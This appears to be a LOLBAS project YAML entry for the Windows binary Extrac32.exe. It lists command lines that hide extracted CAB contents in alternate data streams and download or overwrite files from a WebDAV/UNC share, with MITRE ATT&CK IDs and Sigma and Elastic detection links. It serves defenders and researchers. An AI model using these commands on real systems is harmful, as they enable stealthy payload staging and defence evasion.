mirror of
https://github.com/LOLBAS-Project/LOLBAS
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ebbf08ec4d
* Adding various tags as a first iteration * Adding quotes * Adding 'Custom Format' properly * Updating to key:value pairs * Update template
61 lines
2.8 KiB
YAML
61 lines
2.8 KiB
YAML
---
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Name: Extrac32.exe
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Description: Extract to ADS, copy or overwrite a file with Extrac32.exe
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
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Description: Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.
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Usecase: Extract data from cab file and hide it in an alternate data stream.
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Category: ADS
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Privileges: User
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MitreID: T1564.004
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Tags:
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- Type: Compression
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- Command: extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
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Description: Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.
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Usecase: Extract data from cab file and hide it in an alternate data stream.
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Category: ADS
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Privileges: User
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MitreID: T1564.004
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Tags:
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- Type: Compression
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- Command: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
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Description: Copy the source file to the destination file and overwrite it.
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Usecase: Download file from UNC/WEBDav
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe
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Description: Command for copying calc.exe to another folder
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Usecase: Copy file
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Category: Copy
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Full_Path:
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- Path: C:\Windows\System32\extrac32.exe
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- Path: C:\Windows\SysWOW64\extrac32.exe
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Code_Sample:
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- Code:
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Detection:
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- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml
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Resources:
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- Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
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- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
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- Link: https://twitter.com/egre55/status/985994639202283520
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Acknowledgement:
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- Person: egre55
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Handle: '@egre55'
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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- Person: Hai Vaknin(Lux
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Handle: '@VakninHai'
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- Person: Tamir Yehuda
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Handle: '@tim8288'
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